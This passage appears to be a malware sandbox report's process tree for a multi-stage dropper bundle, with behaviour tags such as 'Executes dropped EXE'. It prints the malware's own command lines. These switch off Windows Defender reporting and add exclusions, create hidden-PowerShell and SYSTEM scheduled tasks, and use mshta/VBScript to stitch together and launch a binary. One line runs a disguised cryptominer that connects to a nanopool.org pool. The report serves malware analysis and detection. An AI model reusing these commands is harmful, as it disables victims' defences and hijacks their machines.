/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
12⤵
PID:5476

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
13⤵
PID:4508

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
13⤵
PID:5044

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ghMAwTWvk" /SC once /ST 03:01:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
11⤵
- Creates scheduled task(s)
PID:1860

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bvmcjEjDUxHOOxIZsK" /SC once /ST 07:52:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\rMfwuag.exe\" uG /site_id 668658 /S" /V1 /F
11⤵
- Executes dropped EXE
- Creates scheduled task(s)
PID:2356

C:\Users\Admin\Documents\3CWdA82XbW853PNjFRg4mPKV.exe
"C:\Users\Admin\Documents\3CWdA82XbW853PNjFRg4mPKV.exe"
6⤵
- Executes dropped EXE
PID:5556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5556 -s 292
7⤵
- Program crash
PID:2004

C:\Users\Admin\Documents\gstR6gO2nZlM0AvwlAGfSsXX.exe
"C:\Users\Admin\Documents\gstR6gO2nZlM0AvwlAGfSsXX.exe"
6⤵
PID:3020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3020 -s 256
7⤵
- Program crash
PID:784

C:\Users\Admin\Documents\4JIGluA737fax2wIk1PtyGJy.exe
"C:\Users\Admin\Documents\4JIGluA737fax2wIk1PtyGJy.exe"
6⤵
PID:5128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 240
7⤵
- Program crash
PID:5352

C:\Users\Admin\Documents\AyCNrPN0LkeA8_Y6qzJmnNT_.exe
"C:\Users\Admin\Documents\AyCNrPN0LkeA8_Y6qzJmnNT_.exe"
6⤵
- Executes dropped EXE
PID:2560

C:\Users\Admin\Documents\AyCNrPN0LkeA8_Y6qzJmnNT_.exe
C:\Users\Admin\Documents\AyCNrPN0LkeA8_Y6qzJmnNT_.exe
7⤵
PID:6384

C:\Users\Admin\Documents\AyCNrPN0LkeA8_Y6qzJmnNT_.exe
C:\Users\Admin\Documents\AyCNrPN0LkeA8_Y6qzJmnNT_.exe
7⤵
PID:840

C:\Users\Admin\Documents\A1jDteFQv96eLkAvdO1Kl392.exe
"C:\Users\Admin\Documents\A1jDteFQv96eLkAvdO1Kl392.exe"
6⤵
PID:1652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1652 -s 296
7⤵
- Program crash
PID:5200

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:3116

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
8⤵
PID:2600

C:\Users\Admin\Documents\ODYzCBApl5X2mbnoWKRREEkt.exe
"C:\Users\Admin\Documents\ODYzCBApl5X2mbnoWKRREEkt.exe"
6⤵
PID:2356

C:\Users\Admin\Documents\ODYzCBApl5X2mbnoWKRREEkt.exe
C:\Users\Admin\Documents\ODYzCBApl5X2mbnoWKRREEkt.exe
7⤵
PID:6960

C:\Users\Admin\Documents\7lPLr9ql2jMxjZf19D8jw8aU.exe
"C:\Users\Admin\Documents\7lPLr9ql2jMxjZf19D8jw8aU.exe"
6⤵
- Executes dropped EXE
PID:5724

C:\Users\Admin\Documents\7lPLr9ql2jMxjZf19D8jw8aU.exe
"C:\Users\Admin\Documents\7lPLr9ql2jMxjZf19D8jw8aU.exe"
7⤵
PID:5104

C:\Users\Admin\Documents\IAtanBIpOoJZVWeO75ULLT8Q.exe
"C:\Users\Admin\Documents\IAtanBIpOoJZVWeO75ULLT8Q.exe"
6⤵
- Executes dropped EXE
PID:2420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2420 -s 316
7⤵
- Program crash
PID:7028

C:\Users\Admin\Documents\mIineUPFRLJDsATELcz6Ld8z.exe
"C:\Users\Admin\Documents\mIineUPFRLJDsATELcz6Ld8z.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:6032

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
7⤵
PID:728

C:\Program Files (x86)\Company\NewProduct\inst001.exe
"C:\Program Files (x86)\Company\NewProduct\inst001.exe"
7⤵
PID:6796

C:\Program Files (x86)\Company\NewProduct\cm3.exe
"C:\Program Files (x86)\Company\NewProduct\cm3.exe"
7⤵
PID:6496

C:\Users\Admin\Documents\OYGpr3wBJeTk8Ys5aLYgIw36.exe
"C:\Users\Admin\Documents\OYGpr3wBJeTk8Ys5aLYgIw36.exe"
6⤵
- Executes dropped EXE
PID:3928

C:\Users\Admin\AppData\Local\Temp\7zSBF92.tmp\Install.exe
.\Install.exe
7⤵
PID:7136

C:\Users\Admin\AppData\Local\Temp\7zSE588.tmp\Install.exe
.\Install.exe /S /site_id "394347"
8⤵
PID:6728

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
9⤵
PID:5256

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
10⤵
- Executes dropped EXE
PID:3020

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:5264

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:3064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:5360

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:492

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:7120

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:5988

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:792

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:7056

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:6972

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:2876

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:7104

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
- Executes dropped EXE
PID:3616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:6608

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:1780

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
9⤵
PID:7128

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
10⤵
PID:4892

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
11⤵
PID:1560

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
11⤵
PID:6580

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
9⤵
PID:808

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
10⤵
PID:6280

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
11⤵
PID:3088

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
11⤵
PID:4508

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gAxWBVMIB" /SC once /ST 00:06:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
9⤵
- Creates scheduled task(s)
PID:3196

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bvmcjEjDUxHOOxIZsK" /SC once /ST 07:51:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\TRKqMaC.exe\" uG /site_id 394347 /S" /V1 /F
9⤵
- Creates scheduled task(s)
PID:5276

C:\Users\Admin\Documents\gcv4R62Mxn4xIt3yYXSX_Cwi.exe
"C:\Users\Admin\Documents\gcv4R62Mxn4xIt3yYXSX_Cwi.exe"
6⤵
PID:424

C:\Users\Admin\Documents\aI_bgubW7aNYbv3n4i8_BdcB.exe
"C:\Users\Admin\Documents\aI_bgubW7aNYbv3n4i8_BdcB.exe"
6⤵
PID:2308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 316
7⤵
- Program crash
PID:2772

C:\Users\Admin\Documents\aNMMSBZdTKoAHpyaykhyWeyi.exe
"C:\Users\Admin\Documents\aNMMSBZdTKoAHpyaykhyWeyi.exe"
6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4608

C:\Users\Admin\Documents\WwEtIIEpfQEpN7CdumHf_wLf.exe
"C:\Users\Admin\Documents\WwEtIIEpfQEpN7CdumHf_wLf.exe"
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:6188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6188 -s 1720
7⤵
- Program crash
PID:6732

C:\Users\Admin\Documents\iDYNJAqXzpucJeZ1SYAQklcI.exe
"C:\Users\Admin\Documents\iDYNJAqXzpucJeZ1SYAQklcI.exe"
6⤵
PID:7100

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 7100 -s 928
7⤵
- Program crash
PID:6980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15d3a9f0cbde1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:5032

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15d3a9f0cbde1.exe
Fri15d3a9f0cbde1.exe
5⤵
- Executes dropped EXE
PID:4564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 252
6⤵
- Program crash
PID:1692

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri158ea592d6f.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4880

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri158ea592d6f.exe
Fri158ea592d6f.exe
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4148

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri156c10dd46.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4088

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri156c10dd46.exe
Fri156c10dd46.exe
5⤵
- Executes dropped EXE
PID:3572

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15c8bd2ae6f94f.exe
4⤵
PID:5008

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15c8bd2ae6f94f.exe
Fri15c8bd2ae6f94f.exe
5⤵
- Executes dropped EXE
PID:4964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 264
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri155e6d4468.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3212

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri155e6d4468.exe
Fri155e6d4468.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4944

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
- Executes dropped EXE
PID:5904

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
7⤵
PID:3616

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
8⤵
PID:6760

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
9⤵
- Creates scheduled task(s)
PID:4004

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
8⤵
PID:580

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:6548

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:1532

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
9⤵
PID:6528

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
9⤵
PID:5008

C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5644

C:\ProgramData\732162.exe
"C:\ProgramData\732162.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5036

C:\ProgramData\5051311.exe
"C:\ProgramData\5051311.exe"
8⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:2008

C:\ProgramData\7022654.exe
"C:\ProgramData\7022654.exe"
8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5472

C:\ProgramData\1792490.exe
"C:\ProgramData\1792490.exe"
8⤵
PID:5916

C:\ProgramData\134040.exe
"C:\ProgramData\134040.exe"
8⤵
PID:6476

C:\ProgramData\7859440.exe
"C:\ProgramData\7859440.exe"
8⤵
PID:6688

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:5788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 600
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6720

C:\Users\Admin\AppData\Local\Temp\udptest.exe
"C:\Users\Admin\AppData\Local\Temp\udptest.exe"
7⤵
- Executes dropped EXE
PID:5680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 224
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6664

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:956

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 956 -s 1704
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1552

C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe
"C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"
7⤵
- Executes dropped EXE
PID:1892

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScriPt: CLOSe ( CreatEOBjECt ("WScRIpt.sHell" ). rUn ( "CmD.Exe /Q /C COpy /Y ""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF """" =="""" for %z iN (""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"") do taskkill -f /Im ""%~nXz"" " , 0 , tRue ))
8⤵
PID:3012

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpy /Y "C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF "" =="" for %z iN ("C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe") do taskkill -f /Im "%~nXz"
9⤵
PID:3476

C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE
..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u
10⤵
- Executes dropped EXE
PID:2432

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScriPt: CLOSe ( CreatEOBjECt ("WScRIpt.sHell" ). rUn ( "CmD.Exe /Q /C COpy /Y ""C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE"" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF ""/pni3MGzH3fZ3zm0HbFMiEo11u"" =="""" for %z iN (""C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE"") do taskkill -f /Im ""%~nXz"" " , 0 , tRue ))
11⤵
PID:5256

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpy /Y "C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF "/pni3MGzH3fZ3zm0HbFMiEo11u" =="" for %z iN ("C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE") do taskkill -f /Im "%~nXz"
12⤵
PID:6812

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscript: cLoSE ( cREAtEObJect ( "wSCRipT.SHELl" ). Run("Cmd /Q /C eCHo | SeT /p = ""MZ"" > 4~T6.Kj6& cOPy /b /y 4~T6.kJ6 +JJDPQL_.2B+ Z8ISJ6._Nm+oAykH.~~ +kdDPiLEn.~T5 + MZaNA.E ..\Kz_AMsXL.6g & Del /q *& STArT control ..\kZ_AmsXL.6G " ,0, trUE ) )
11⤵
PID:2300

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C eCHo | SeT /p = "MZ" > 4~T6.Kj6&cOPy /b /y 4~T6.kJ6+JJDPQL_.2B+Z8ISJ6._Nm+oAykH.~~ +kdDPiLEn.~T5 + MZaNA.E ..\Kz_AMsXL.6g & Del /q *& STArT control ..\kZ_AmsXL.6G
12⤵
PID:1540

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>4~T6.Kj6"
13⤵
PID:3444

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
13⤵
PID:1096

C:\Windows\SysWOW64\control.exe
control ..\kZ_AmsXL.6G
13⤵
PID:7100

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\kZ_AmsXL.6G
14⤵
PID:4696

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\kZ_AmsXL.6G
15⤵
PID:7128

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\kZ_AmsXL.6G
16⤵
PID:6404

C:\Windows\SysWOW64\taskkill.exe
taskkill -f /Im "sfx_123_206.exe"
10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2516

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
7⤵
PID:864

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
8⤵
- Executes dropped EXE
PID:4628

C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecorderF20.exe
"C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecorderF20.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2572

C:\Users\Admin\AppData\Local\Temp\tmpC1C4_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC1C4_tmp.exe"
8⤵
PID:7084

C:\Users\Admin\AppData\Local\Temp\tmpC1C4_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmpC1C4_tmp.exe
9⤵
PID:1960

C:\Users\Admin\AppData\Local\Temp\tmpC1C4_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmpC1C4_tmp.exe
9⤵
PID:6444

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
7⤵
PID:2356

C:\Users\Admin\AppData\Local\Temp\is-EIE90.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-EIE90.tmp\setup_2.tmp" /SL5="$1026C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4388

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
9⤵
- Executes dropped EXE
PID:3188

C:\Users\Admin\AppData\Local\Temp\is-G2URD.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-G2URD.tmp\setup_2.tmp" /SL5="$2027A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
10⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:6088

C:\Users\Admin\AppData\Local\Temp\is-45UOQ.tmp\postback.exe
